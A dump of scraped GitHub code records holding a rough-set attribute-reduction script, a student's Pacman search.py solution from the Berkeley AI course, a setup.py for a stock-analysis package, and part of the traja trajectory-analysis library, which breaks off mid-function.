del_set.append(i)\r\n for i in del_set:# 删除列表中的元素\r\n X[i] = 'a'\r\n X = [i for i in X if i != 'a']\r\n reduction_set.append(x1)\r\n return reduction_set # 返回一个嵌套矩阵，元素是约简后的属性(还没有求合取)\r\n\r\ndef bianshijuzhen(X1, X2, Y):#X1，X2传入2等价类，利用标号找出每一个等价类的数据, Y表示原数据\r\n# 直接从等价类中抽出原数据\r\n# X是一个嵌套列表，Y是torch.tensor 类型的数据\r\n\r\n bianshi_x = ((Y[X1[0]] - Y[X2[0]]) != 0).float().numpy().tolist()\r\n return [i for i, ite in enumerate(bianshi_x) if ite == 1.] # 两个等价类辨识矩阵\r\n\r\ndef lidu(L, a, b): # 输入一个属性列表L，a和b-1表示粒度长度的最小个数和最大个数\r\n set_all_attribute = []\r\n for i in range(a, b): # 得到一部分粒度， 特征个数为3的所有粒度到特征个数到7的所有粒度\r\n attribute_set = itertools.combinations(L, i)\r\n set_all_attribute.append(attribute_set)\r\n set_all_attribute = [list(sigle) for ite in set_all_attribute for sigle in ite]\r\n return set_all_attribute\r\n\r\ndef pandas_to_torch(X):\r\n X = np.array(X)\r\n X = X.astype(float)\r\n return torch.tensor(X)\r\n\r\n\r\nif __name__ == '__main__':\r\n Y = torch.tensor([[1, 1, 2],\r\n [1, 1, 2],\r\n [2, 2, 3],\r\n [2, 2, 3],\r\n [1, 0, 3],\r\n [1, 1, 2],\r\n [2, 2, 3],\r\n [0, 0, 9],\r\n ])\r\n X = dengjialei(Y)\r\n X = [ite for ite in X]\r\n print(X)\r\n x = bianshijuzhen(X[2], X[1], Y)\r\n y = reduction(x)\r\n print(x,y)\r\n # print([i for i in x])\r\n # X = torch.tensor([1, 2, 3])\r\n # Y = [2, 3, 4]\r\n # simlar = similarity(X, Y)\r\n # print(simlar)\r\n # X = [1, 2, 3, 4, 5, 6]\r\n # Y = [[4, 5],[3, 4, 7],[1, 10, 99],[7, 9, 1]]\r\n # Dx,Cx = DxCx(X, Y)\r\n # print(Cx)\r\n # Y = [i for i in x]\r\n # data = pd.DataFrame(Y)\r\n # print(data)\r\n # with open('./data_set.json', 'w', encoding='utf8') as f:\r\n # json.dump(Y, f)\r\n # f.close()\r\n # with open('./data_set.json', 'r', encoding='utf8') as f:\r\n # l = json.load(f)\r\n # print(l)\r\n # f.close()\r\n X = [[1, 2, 4], [1, 2, 3], [3, 4], [3]]\r\n Y = [[2, 3]]\r\n if X != Y:\r\n print('1')\r\n set1 = []\r\n for L in X:\r\n set1.append(set(L))\r\n print(set1[1] - set1[-1])\r\n # del_set = [1, 2]\r\n # for i in del_set:\r\n # X[i] = 'a'\r\n # X = [i for i in X if i != 'a']\r\n print(reduction(X))","repo_name":"Doctorwngd/-","sub_path":"最优近似/function_set.py","file_name":"function_set.py","file_ext":"py","file_size_in_byte":5352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"70571159407","text":"# search.py\n# ---------\n# Licensing Information: You are free to use or extend these projects for\n# educational purposes provided that (1) you do not distribute or publish\n# solutions, (2) you retain this notice, and (3) you provide clear\n# attribution to UC Berkeley, including a link to http://ai.berkeley.edu.\n# \n# Attribution Information: The Pacman AI projects were developed at UC Berkeley.\n# The core projects and autograders were primarily created by John DeNero\n# (denero@cs.berkeley.edu) and Dan Klein (klein@cs.berkeley.edu).\n# Student side autograding was added by Brad Miller, Nick Hay, and\n# Pieter Abbeel (pabbeel@cs.berkeley.edu).\n\n\n\"\"\"\nIn search.py, you will implement generic search algorithms which are called by\nPacman agents (in searchAgents.py).\n\"\"\"\n\nimport util\n\nclass SearchProblem:\n \"\"\"\n This class outlines the structure of a search problem, but doesn't implement\n any of the methods (in object-oriented terminology: an abstract class).\n\n You do not need to change anything in this class, ever.\n \"\"\"\n\n def getStartState(self):\n \"\"\"\n Returns the start state for the search problem.\n \"\"\"\n util.raiseNotDefined()\n\n def isGoalState(self, state):\n \"\"\"\n state: Search state\n\n Returns True if and only if the state is a valid goal state.\n \"\"\"\n util.raiseNotDefined()\n\n def getSuccessors(self, state):\n \"\"\"\n state: Search state\n\n For a given state, this should return a list of triples, (successor,\n action, stepCost), where 'successor' is a successor to the current\n state, 'action' is the action required to get there, and 'stepCost' is\n the incremental cost of expanding to that successor.\n \"\"\"\n util.raiseNotDefined()\n\n def getCostOfActions(self, actions):\n \"\"\"\n actions: A list of actions to take\n\n This method returns the total cost of a particular sequence of actions.\n The sequence must be composed of legal moves.\n \"\"\"\n util.raiseNotDefined()\n\n\ndef tinyMazeSearch(problem):\n \"\"\"\n Returns a sequence of moves that solves tinyMaze. For any other maze, the\n sequence of moves will be incorrect, so only use this for tinyMaze.\n \"\"\"\n from game import Directions\n s = Directions.SOUTH\n w = Directions.WEST\n return [s, s, w, s, w, w, s, w]\n\ndef depthFirstSearch(problem):\n\n \"\"\"\n Search the deepest nodes in the search tree first.\n\n Returns a list of actions that reaches the\n goal by implementing a graph search algorithm.\n\n \"\"\"\n\n # Declare fringe and action list as Stack data structures, and initialize the fringe with Pacman's starting state\n fringe = util.Stack()\n fringe.push(problem.getStartState())\n action_list = util.Stack()\n action_list.push([])\n\n # Declare a variable used to check if Pacman is in the goal state or not\n goal_check = problem.getStartState()\n\n # A variable used to keep track of states Pacman has visited\n master_path = []\n\n \n # While the frnge is not empty\n while fringe:\n\n\t\t# If the goal state is added to the solution path, we want to break, and store the action used to\n # get to the goal state\n if problem.isGoalState(goal_check):\n actions_path = action_list.pop()\n break\n else:\n\t\t\t# Take the state and action at the top of the fringe and action list\n node = fringe.pop()\n actions_path = action_list.pop()\n # If state is not in master path (Pacman has not explored this state)\n if not (node in master_path):\n\n # Add it to the list of visited states \n master_path.append(node) \n # Get the successors of the current state:\n succ_states = problem.getSuccessors(node)\n\n for successor in succ_states:\n\n # If successor state is yet to be explored, and see if the update the\n if not successor[0] in master_path:\n \n # Update the check for the goal state for each successor visited\n goal_check = successor[0]\n # Add it to the list of visited states\n fringe.push(successor[0])\n # Get the action and state the action moves Pacman into for the successor\n action_list.push(actions_path + [successor[1]])\n\n return actions_path\n\ndef breadthFirstSearch(problem):\n\n \"\"\"Search the shallowest nodes in the search tree first.\"\"\"\n\n # Declare fringe and action list as Queue data structures, and initialize the fringe with Pacman's starting state\n fringe = util.Queue()\n fringe.push(problem.getStartState())\n action_fringe = util.Queue()\n action_fringe.push([])\n\n # A variable used to keep track of states Pacman has visited\n master_path = []\n\n # While the frnge is not empty\n while fringe:\n\n # Obtain a state from the top of the fringe, and the list of actions used to get the given state\n node = fringe.pop()\n actions_path = action_fringe.pop()\n # Add the node to the list of places Pacman has travelled to\n\t\t# If the goal state/node got added to the solution path, we want to break\n # One major difference from DFS is check if current state is goal, not the successor/previous state\n if problem.isGoalState(node):\n break\n\n else:\n\n if not (node in master_path):\n\n # Add the state to master path \n master_path.append(node) \n # Get the successors of the state:\n succ_states = problem.getSuccessors(node) \n\n for successor in succ_states:\n\n # If successor state is yet to be visited by Pacman:\n if not successor[0] in master_path:\n # Append action and next state pacman moves to for a given successor\n temp_path = actions_path + [successor[1]]\n # Push the successor node onto the fringe\n fringe.push(successor[0])\n # Update the action list for the given successor\n action_fringe.push(temp_path)\n\n return actions_path\n\n\n\ndef uniformCostSearch(problem):\n \"\"\"Search the node of least total cost first.\"\"\"\n\n # Declare fringe as a Priority Queue data structures, and initialize the fringe with Pacman's starting state\n # as well as a cost of 0\n fringe = util.PriorityQueue()\n start = problem.getStartState()\n fringe.push((start,[]),0)\n\n # Initialize the check for the goal state with the starting state\n goal_check = start\n\n # A variable used to keep track of states Pacman has visited\n master_path = []\n\n # A variable used to keep track of the cost of different states Pacman has visited\n cost_list = []\n\n # While the frnge is not empty\n while fringe:\n\t\t# If the solution got added to the solution path, we want to break\n if problem.isGoalState(goal_check):\n actions_path = action_list\n break\n else:\n\t\t\t# Take the top item of the Priority Queue (lowest cost)\n node, actions_path = fringe.pop()\n \n # If pacman is yet to visit the state\n if not (node in master_path): \n # Get the successors of the state, and add it to list of visited states:\n master_path.append(node)\n succ_states = problem.getSuccessors(node)\n\n for successor in succ_states:\n if not successor[0] in master_path:\n # Add the successor state to the list of states visited\n goal_check = successor[0]\n # Get the action and state the action moves Pacman into for the successor\n action_list = actions_path + [successor[1]]\n # Use a defined function to get a cost for the given action using a constant heuristc\n # The cost of a state is the sum of costs of preceding state (each action have acost of 1)\n ucs_cost = problem.getCostOfActions(action_list)\n # Append the cost of the successor action to the list of costs for the given action\n cost_list.append(ucs_cost)\n # Add the successor to the fringe\n fringe.push((successor[0],action_list), ucs_cost)\n return actions_path\n #util.raiseNotDefined()\n\ndef nullHeuristic(state, problem=None):\n \"\"\"\n A heuristic function estimates the cost from the current state to the nearest\n goal in the provided SearchProblem. This heuristic is trivial.\n \"\"\"\n return 0\n\ndef aStarSearch(problem, heuristic=nullHeuristic):\n \"\"\"Search the node that has the lowest combined cost and heuristic first.\"\"\"\n \n # Declare fringe and action lists as a Priority Queues, and initialize the fringe with Pacman's starting state\n\n fringe = util.PriorityQueue()\n action_fringe = util.PriorityQueue()\n start = problem.getStartState()\n # The cost of the first node for A* has to be initialized with a functioned because it has to be evaluated\n # for every different maze, a different value might be returned\n fringe.push((start,[]),nullHeuristic(start))\n action_fringe.push([],nullHeuristic(start))\n\n # Use master_path to keep track of visited states\n master_path = [start[0]]\n # Use action list as a stack to keep track of the different paths\n while fringe:\n\t\t# If the goal state got added to the solution path, we want to break\n node, actions_path = fringe.pop()\n if problem.isGoalState(node):\n break\n else:\n\n if not (node in master_path): \n\n # Get the successors of a state:\n succ_states = problem.getSuccessors(node)\n\n for successor in succ_states:\n\n if not (successor[0] in master_path): \n\n # Take the front item of the priority que and store action taken to get up to the successor state\n master_path.append(node)\n action_list = actions_path + [successor[1]]\n\n #Caluclate the A* Cost associated with getting to the successor state to be pushed onto the fringe\n a_star_cost = problem.getCostOfActions(action_list) + heuristic(successor[0], problem)\n fringe.update((successor[0],action_list), a_star_cost)\n #action_fringe.update(action_list, a_star_cost)\n return actions_path\n #util.raiseNotDefined()\n\n\n# Abbreviations\nbfs = breadthFirstSearch\ndfs = depthFirstSearch\nastar = aStarSearch\nucs = uniformCostSearch\n","repo_name":"usmand19/AI-Pacman","sub_path":"search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":10736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"32413946325","text":"# If you need help about packaging, read\n# https://python-packaging-user-guide.readthedocs.org/en/latest/distributing.html\n#\n# To build this package run\n# python3 setup.py sdist bdist_wheel\n# in this directory.\n#\n# To install this package in your virtual environment run\n#\n# cd ..\n# pip install -e otrade/\n#\n\nimport sys\nimport setuptools\n\nwith open(\"README.md\", \"r\") as fh:\n long_description = fh.read()\n\nwith open('requirements.txt') as f:\n requirements = f.read().splitlines()\n\n# now, setup can do his thing...\nsetuptools.setup(\n name=\"otrade\",\n version=\"0.0.1\",\n entry_points={\n 'console_scripts':\n [\n 'otrade=otrade.app:run',\n 'get_quote=otrade.utils.get_quote:run',\n 'get_news=otrade.utils.get_news:run',\n 'get_price_direction=otrade.utils.get_price_direction:run'\n ],\n },\n author=\"Owen\",\n install_requires=requirements,\n python_requires='>=3.8.0',\n author_email=\"owenmcgettrick@gmail.com\",\n description=\"A sample stock analysis package\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/kinetickode/otrade\",\n packages=setuptools.find_packages(),\n include_package_data=True,\n classifiers=[\n \"Programming Language :: Python :: 3\",\n ],\n)\n","repo_name":"kinetickode/otrade","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1327,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"3960344804","text":"import logging\nimport math\nfrom collections import OrderedDict\nfrom typing import Callable, Optional, Union, Tuple\n\nimport numpy as np\nimport pandas as pd\nfrom pandas.core.dtypes.common import (\n is_datetime_or_timedelta_dtype,\n is_datetime64_any_dtype,\n is_timedelta64_dtype,\n)\nfrom scipy import signal\nfrom scipy.spatial.distance import directed_hausdorff, euclidean\n\nimport traja\nfrom traja import TrajaDataFrame\n\n__all__ = [\n \"_bins_to_tuple\",\n \"_get_time_col\",\n \"_get_xylim\",\n \"_grid_coords1D\",\n \"_has_cols\",\n \"_rediscretize_points\",\n \"_resample_time\",\n \"calc_angle\",\n \"calc_convex_hull\",\n \"calc_derivatives\",\n \"calc_displacement\",\n \"calc_heading\",\n \"calc_laterality\",\n \"calc_turn_angle\",\n \"calc_flow_angles\",\n \"cartesian_to_polar\",\n \"coords_to_flow\",\n \"determine_colinearity\",\n \"distance_between\",\n \"distance\",\n \"euclidean\",\n \"expected_sq_displacement\",\n \"fill_in_traj\",\n \"from_xy\",\n \"inside\",\n \"generate\",\n \"get_derivatives\",\n \"grid_coordinates\",\n \"length\",\n \"polar_to_z\",\n \"rediscretize_points\",\n \"resample_time\",\n \"return_angle_to_point\",\n \"rotate\",\n \"smooth_sg\",\n \"speed_intervals\",\n \"step_lengths\",\n \"to_shapely\",\n \"traj_from_coords\",\n \"transition_matrix\",\n \"transitions\",\n]\n\nlogger = logging.getLogger(\"traja\")\n\n\ndef smooth_sg(trj: TrajaDataFrame, w: int = None, p: int = 3):\n \"\"\"Returns ``DataFrame`` of trajectory after Savitzky-Golay filtering.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n w (int): window size (Default value = None)\n p (int): polynomial order (Default value = 3)\n\n Returns:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n .. doctest::\n\n >> df = traja.generate()\n >> traja.smooth_sg(df, w=101).head()\n x y time\n 0 -11.194803 12.312742 0.00\n 1 -10.236337 10.613720 0.02\n 2 -9.309282 8.954952 0.04\n 3 -8.412910 7.335925 0.06\n 4 -7.546492 5.756128 0.08\n\n \"\"\"\n if w is None:\n w = p + 3 - p % 2\n\n if w % 2 != 1:\n raise Exception(f\"Invalid smoothing parameter w ({w}): n must be odd\")\n _trj = trj.copy()\n _trj.x = signal.savgol_filter(_trj.x, window_length=w, polyorder=p, axis=0)\n _trj.y = signal.savgol_filter(_trj.y, window_length=w, polyorder=p, axis=0)\n _trj = fill_in_traj(_trj)\n return _trj\n\n\ndef apply_all(trj: TrajaDataFrame, method: Callable, id_col: str, **kwargs):\n \"\"\"Applies method to all trajectories\"\"\"\n return trj.groupby(by=id_col).apply(method, **kwargs)\n\n\ndef step_lengths(trj: TrajaDataFrame):\n \"\"\"Length of the steps of ``trj``.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n \"\"\"\n displacement = traja.trajectory.calc_displacement(trj)\n return displacement\n\n\ndef polar_to_z(r: float, theta: float) -> complex:\n \"\"\"Converts polar coordinates ``r`` and ``theta`` to complex number ``z``.\n\n Args:\n r (float): step size\n theta (float): angle\n\n Returns:\n z (complex): complex number z\n\n \"\"\"\n return r * np.exp(1j * theta)\n\n\ndef cartesian_to_polar(xy: np.ndarray) -> (float, float):\n \"\"\"Convert :class:`numpy.ndarray` ``xy`` to polar coordinates ``r`` and ``theta``.\n\n Args:\n xy (:class:`numpy.ndarray`): x,y coordinates\n\n Returns:\n r, theta (tuple of float): step-length and angle\n\n \"\"\"\n assert xy.ndim == 2, f\"Dimensions are {xy.ndim}, expecting 2\"\n x, y = np.split(xy, [-1], axis=1)\n x, y = np.squeeze(x), np.squeeze(y)\n r = np.sqrt(x * x + y * y)\n theta = np.arctan2(y, x)\n return r, theta\n\n\ndef distance(trj: TrajaDataFrame) -> float:\n \"\"\"Calculates the distance from start to end of trajectory, also called net distance, displacement, or bee-line\n from start to finish.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n Returns:\n distance (float)\n\n .. doctest::\n\n >> df = traja.generate()\n >> traja.distance(df)\n 117.01507823153617\n\n \"\"\"\n start = trj.iloc[0][[\"x\", \"y\"]].values\n end = trj.iloc[-1][[\"x\", \"y\"]].values\n return np.linalg.norm(end - start)\n\n\ndef length(trj: TrajaDataFrame) -> float:\n \"\"\"Calculates the cumulative length of a trajectory.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n Returns:\n length (float)\n\n .. doctest::\n\n >> df = traja.generate()\n >> traja.length(df)\n 2001.142339606066\n\n \"\"\"\n displacement = trj.traja.calc_displacement()\n return displacement.sum()\n\n\ndef expected_sq_displacement(\n trj: TrajaDataFrame, n: int = 0, eqn1: bool = True\n) -> float:\n \"\"\"Expected displacement.\n\n .. note::\n\n This method is experimental and needs testing.\n\n \"\"\"\n sl = traja.step_lengths(trj)\n ta = traja.calc_angle(trj)\n l1 = np.mean(sl)\n l2 = np.mean(sl ** 2)\n c = np.mean(np.cos(ta))\n s = np.mean(np.sin(ta))\n s2 = s ** 2\n\n if eqn1:\n # Eqn 1\n alpha = np.arctan2(s, c)\n gamma = ((1 - c) ** 2 - s2) * np.cos((n + 1) * alpha) - 2 * s * (\n 1 - c\n ) * np.sin((n + 1) * alpha)\n esd = (\n n * l2\n + 2 * l1 ** 2 * ((c - c ** 2 - s2) * n - c) / ((1 - c) ** 2 + s2)\n + 2\n * l1 ** 2\n * ((2 * s2 + (c + s2) ** ((n + 1) / 2)) / ((1 - c) ** 2 + s2) ** 2)\n * gamma\n )\n return abs(esd)\n else:\n logger.info(\"This method is experimental and requires testing.\")\n # Eqn 2\n esd = n * l2 + 2 * l1 ** 2 * c / (1 - c) * (n - (1 - c ** n) / (1 - c))\n return esd\n\n\ndef traj_from_coords(\n track: Union[np.ndarray, pd.DataFrame],\n x_col=1,\n y_col=2,\n time_col: Optional[str] = None,\n fps: Union[float, int] = 4,\n spatial_units: str = \"m\",\n time_units: str = \"s\",\n) -> TrajaDataFrame:\n \"\"\"Create TrajaDataFrame from coordinates.\n\n Args:\n track: N x 2 numpy array or pandas DataFrame with x and y columns\n x_col: column index or x column name\n y_col: column index or y column name\n time_col: name of time column\n fps: Frames per seconds\n spatial_units: default m, optional\n time_units: default s, optional\n\n Returns:\n trj: TrajaDataFrame\n\n .. doctest::\n\n >> xy = np.random.random((1000, 2))\n >> trj = traja.traj_from_coord(xy)\n >> assert trj.shape == (1000,4) # columns x, y, time, dt\n\n \"\"\"\n if not isinstance(track, traja.TrajaDataFrame):\n if isinstance(track, np.ndarray) and track.shape[1] == 2:\n trj = traja.from_xy(track)\n elif isinstance(track, pd.DataFrame):\n trj = traja.TrajaDataFrame(track)\n else:\n trj = track\n trj.traja.spatial_units = spatial_units\n trj.traja.time_units = time_units\n\n def rename(col, name, trj):\n if isinstance(col, int):\n trj.rename(columns={col: name})\n else:\n if col not in trj:\n raise Exception(f\"Missing column {col}\")\n trj.rename(columns={col: name})\n return trj\n\n # Ensure column names are as expected\n trj = rename(x_col, \"x\", trj)\n trj = rename(y_col, \"y\", trj)\n if time_col is not None:\n trj = rename(time_col, \"time\", trj)\n\n # Allocate times if they aren't already known\n if \"time\" not in trj:\n if fps is None:\n raise Exception(\n (\n \"Cannot create a trajectory without times: either fps or a time column must be specified\"\n )\n )\n # Assign times to each frame, starting at 0\n trj[\"time\"] = pd.Series(np.arange(0, len(trj)) / fps)\n\n # Get displacement time for each coordinate, with the first point at time 0\n trj[\"dt\"] = trj.time - trj.time.iloc[0]\n\n return trj\n\n\ndef distance_between(A: traja.TrajaDataFrame, B: traja.TrajaDataFrame, method=\"dtw\"):\n \"\"\"Returns distance between two trajectories.\n\n Args:\n A (:class:`~traja.frame.TrajaDataFrame`) : Trajectory 1\n B (:class:`~traja.frame.TrajaDataFrame`) : Trajectory 2\n method (str): ``dtw`` for dynamic time warping, ``hausdorff`` for Hausdorff\n\n Returns:\n distance (float): Distance\n\n \"\"\"\n if method == \"hausdorff\":\n dist0 = directed_hausdorff(A, B)[0]\n dist1 = directed_hausdorff(B, A)[0]\n symmetric_dist = max(dist0, dist1)\n return symmetric_dist\n elif method == \"dtw\":\n try:\n from fastdtw import fastdtw\n except ImportError:\n raise ImportError(\n \"\"\"\n Missing optional dependency 'fastdtw'. Install fastdtw for dynamic time warping distance with pip install\n fastdtw.\n \"\"\"\n )\n distance, path = fastdtw(A, B, dist=euclidean)\n return distance\n\n\ndef to_shapely(trj):\n \"\"\"Returns shapely object for area, bounds, etc. functions.\n\n Args:\n trj (:class:`~traja.frame.TrajaDataFrame`): Trajectory\n\n Returns:\n shapely.geometry.linestring.LineString -- Shapely shape.\n\n .. doctest::\n\n >>> df = traja.TrajaDataFrame({'x':[0,1,2],'y':[1,2,3]})\n >>> shape = traja.to_shapely(df)\n >>> shape.is_closed\n False\n\n \"\"\"\n from shapely.geometry import shape\n\n coords = trj[[\"x\", \"y\"]].values\n tracks_obj = {\"type\": \"LineString\", \"coordinates\": coords}\n tracks_shape = shape(tracks_obj)\n return tracks_shape\n\n\ndef transition_matrix(grid_indices1D: np.ndarray):\n \"\"\"Returns ``np.ndarray`` of Markov transition probability matrix for grid cell transitions.\n\n Args:\n grid_indices1D (:class:`np.ndarray`)\n\n Returns:\n M (:class:`numpy.ndarray`)\n\n \"\"\"\n if not isinstance(grid_indices1D, np.ndarray):\n raise TypeError(f\"Expected np.ndarray, got {type(grid_indices1D)}\")\n\n n = 1 + max(grid_indices1D.flatten()) # number of states\n\n M = [[0] * n for _ in range(n)]\n\n for (i, j) in zip(grid_indices1D, grid_indices1D[1:]):\n M[i][j] += 1\n\n # Convert to probabilities\n for row in M:\n s = sum(row)\n if s > 0:\n row[:] = [f / s for f in row]\n return np.array(M)\n\n\ndef _bins_to_tuple(trj, bins: Union[int, Tuple[int, int]] = 10):\n \"\"\"Returns tuple of x, y bins\n\n Args:\n trj: Trajectory\n bins: The bin specification:\n If int, the number of bins for the smallest of the two dimensions such that (min(nx,ny)=bins).\n If [int, int], the number of bins in each dimension (nx, ny = bins).\n\n Returns:\n bins (Sequence[int,int]): Bins (nx, ny)\n\n \"\"\"\n if bins is None:\n bins = 10\n if isinstance(bins, int):\n # make aspect equal\n xlim, ylim = _get_xylim(trj)\n aspect = (ylim[1] - ylim[0]) / (xlim[1] - xlim[0])\n if aspect >= 1:\n bins = (bins, int(bins * aspect))\n else:\n bins = (int(bins / aspect), bins)\n\n assert len(bins) == 2, f\"bins should be length 2 but is {len(bins)}\"\n return bins\n\n\ndef calc_laterality(\n trj: TrajaDataFrame,\n dist_thresh: float,\n angle_thresh: float = 30,\n):\n \"\"\"Calculate laterality of a trajectory.\n\n Laterality is the preference for left or right turning. It is calculated\n with the number of left and right turns.\n\n Args:\n trj: Trajectory\n dist_thresh: distance for a step to count as a turn\n angle_thresh: angle threshold (from angle to 90 degrees)\n\n Returns:\n right_turns (int)\n left_turns (int)\n\n \"\"\"\n # get turn angle with regard to x axis\n if \"turn_angle\" not in trj.columns:\n turn_angle = calc_turn_angle(trj)\n else:\n turn_angle = trj.turn_agle\n\n distance = step_lengths(trj)\n distance_mask = distance > dist_thresh\n angle_mask = ((turn_angle > angle_thresh) & (turn_angle < 90)) | (\n (turn_angle < -angle_thresh) & (turn_angle > -90)\n )\n\n turns = turn_angle[distance_mask & angle_mask].dropna()\n left_turns = turns[turn_angle > 0].shape[0]\n right_turns = turns[turn_angle < 0].shape[0]\n\n return right_turns, left_turns\n\n\ndef calc_flow_angles(grid_indices: np.ndarray):\n \"\"\"Calculate average flow between grid indices.\"\"\"\n\n bins = (grid_indices[:, 0].max(), grid_indices[:, 1].max())\n\n M = np.empty((bins[1], bins[0]), dtype=np.ndarray)\n\n for (i, j) in zip(grid_indices, grid_indices[1:]):\n # Account for fact that grid indices uses 1-base indexing\n ix = i[0] - 1\n iy = i[1] - 1\n jx = j[0] - 1\n jy = j[1] - 1\n\n if np.array_equal(i, j):\n angle = None\n elif ix == jx and iy > jy: # move towards y origin (down by default)\n angle = 3 * np.pi / 2\n elif ix == jx and iy < jy: # move towards y origin (up by default)\n angle = np.pi / 2\n elif ix < jx and iy == jy: # move right\n angle = 0\n elif ix > jx and iy == jy: # move left\n angle = np.pi\n elif ix > jx and iy > jy: # move towards y origin (top left)\n angle = 3 * np.pi / 4\n elif ix > jx and iy < jy: # move away from y origin (bottom left)\n angle = 5 * np.pi / 4\n elif ix < jx and iy < jy: # move away from y origin (bottom right)\n angle = 7 * np.pi / 4\n elif ix < jx and iy > jy: # move towards y origin (top right)\n angle = np.pi / 4\n if angle is not None:\n M[iy, ix] = np.append(M[iy, ix], angle)\n\n U = np.ones_like(M) # x component of arrow\n V = np.empty_like(M) # y component of arrow\n for i, row in enumerate(M):\n for j, angles in enumerate(row):\n x = y = 0\n # average_angle = None\n if angles is not None and len(angles) > 1:\n for angle in angles:\n if angle is None:\n continue\n x += np.cos(angle)\n y += np.sin(angle)\n # average_angle = np.arctan2(y, x)\n U[i, j] = x\n V[i, j] = y\n else:\n U[i, j] = 0\n V[i, j] = 0\n\n return U.astype(float), V.astype(float)\n\n\ndef _grid_coords1D(grid_indices: np.ndarray):\n \"\"\"Convert 2D grid indices to 1D indices.\"\"\"\n if isinstance(grid_indices, pd.DataFrame):\n grid_indices = grid_indices.values\n grid_indices1D = []\n nr_cols = int(grid_indices[:, 0].max()) + 1\n for coord in grid_indices:\n grid_indices1D.append(\n coord[1] * nr_cols + coord[0]\n ) # nr_rows * col_length + nr_cols\n\n return np.array(grid_indices1D, dtype=int)\n\n\ndef transitions(trj: TrajaDataFrame, **kwargs):\n \"\"\"Get first-order Markov model for transitions between grid cells.\n\n Args:\n trj (trajectory)\n kwargs: kwargs to :func:`traja.grid_coordinates`\n\n \"\"\"\n if \"xbin\" not in trj.columns or \"ybin\" not in trj.columns:\n grid_indices = grid_coordinates(trj, **kwargs)\n else:\n grid_indices = trj[[\"xbin\", \"ybin\"]]\n\n # Drop nan for converting to int\n grid_indices.dropna(subset=[\"xbin\", \"ybin\"], inplace=True)\n grid_indices1D = _grid_coords1D(grid_indices)\n transitions_matrix = transition_matrix(grid_indices1D)\n return transitions_matrix\n\n\ndef grid_coordinates(\n trj: TrajaDataFrame,\n bins: Union[int, tuple] = None,\n xlim: tuple = None,\n ylim: tuple = None,\n assign: bool = False,\n):\n \"\"\"Returns ``DataFrame`` of trajectory discretized into 2D lattice grid coordinates.\n Args:\n trj (~`traja.frame.TrajaDataFrame`): Trajectory\n bins (tuple or int)\n xlim (tuple)\n ylim (tuple)\n assign (bool): Return updated original dataframe\n\n Returns:\n trj (~`traja.frame.TrajaDataFrame`): Trajectory is assign=True otherwise pd.DataFrame\n\n \"\"\"\n # Drop nan for converting to int\n trj.dropna(subset=[\"x\", \"y\"], inplace=True)\n\n xmin = trj.x.min() if xlim is None else xlim[0]\n xmax = trj.x.max() if xlim is None else xlim[1]\n ymin = trj.y.min() if ylim is None else ylim[0]\n ymax = trj.y.max() if ylim is None else ylim[1]\n\n bins = _bins_to_tuple(trj, bins)\n\n if not xlim:\n xbin = pd.cut(trj.x, bins[0], labels=False)\n else:\n xmin, xmax = xlim\n xbinarray = np.linspace(xmin, xmax, bins[0])\n xbin = np.digitize(trj.x, xbinarray)\n if not ylim:\n ybin = pd.cut(trj.y, bins[1], labels=False)\n else:\n ymin, ymax = ylim\n ybinarray = np.linspace(ymin, ymax, bins[1])\n ybin = np.digitize(trj.y, ybinarray)\n\n if assign:\n trj[\"xbin\"] = xbin\n trj[\"ybin\"] = ybin\n return trj\n return pd.DataFrame({\"xbin\": xbin, \"ybin\": ybin})\n\n\ndef generate(\n n: int = 1000,\n random: bool = True,\n step_length: int = 2,\n angular_error_sd: float = 0.5,\n angular_error_dist: Callable = None,\n linear_error_sd: float = 0.2,\n linear_error_dist: Callable = None,\n fps: float = 50,\n spatial_units: str = \"m\",\n seed: int = None,\n convex_hull: bool = False,\n **kwargs,\n):\n \"\"\"Generates a trajectory.\n\n If ``random`` is ``True``, the trajectory will\n be a correlated random walk/idiothetic directed walk (Kareiva & Shigesada,\n 1983), corresponding to an animal navigating without a compass (Cheung,\n Zhang, Stricker, & Srinivasan, 2008). If ``random`` is ``False``, it\n will be(np.ndarray) a directed walk/allothetic directed walk/oriented path, corresponding\n to an animal navigating with a compass (Cheung, Zhang, Stricker, &\n Srinivasan, 2007, 2008).\n\n By default, for both random and directed walks, errors are normally\n distributed, unbiased, and independent of each other, so are **simple\n directed walks** in the terminology of Cheung, Zhang, Stricker, & Srinivasan,\n (2008). This behaviour may be modified by specifying alternative values for\n the ``angular_error_dist`` and/or ``linear_error_dist`` parameters.\n\n The initial angle (for a random walk) or the intended direction (for a\n directed walk) is ``0`` radians. The starting position is ``(0, 0)``.\n\n Args:\n n (int): (Default value = 1000)\n random (bool): (Default value = True)\n step_length: (Default value = 2)\n angular_error_sd (float): (Default value = 0.5)\n angular_error_dist (Callable): (Default value = None)\n linear_error_sd (float): (Default value = 0.2)\n linear_error_dist (Callable): (Default value = None)\n fps (float): (Default value = 50)\n convex_hull (bool): (Default value = False)\n spatial_units: (Default value = 'm')\n **kwargs: Additional arguments\n\n Returns:\n trj (:class:`traja.frame.TrajaDataFrame`): Trajectory\n\n .. note::\n\n Based on Jim McLean's `trajr `_, ported to Python.\n\n **Reference**: McLean, D. J., & Skowron Volponi, M. A. (2018). trajr: An R package for characterisation of animal\n trajectories. Ethology, 124(6), 440-448. https://doi.org/10.1111/eth.12739.\n\n \"\"\"\n if seed is None:\n np.random.seed(0)\n else:\n np.random.seed(seed)\n if angular_error_dist is None:\n angular_error_dist = np.random.normal(\n loc=0.0, scale=angular_error_sd, size=n - 1\n )\n if linear_error_dist is None:\n linear_error_dist = np.random.normal(loc=0.0, scale=linear_error_sd, size=n - 1)\n angular_errors = angular_error_dist\n linear_errors = linear_error_dist\n step_lengths = step_length + 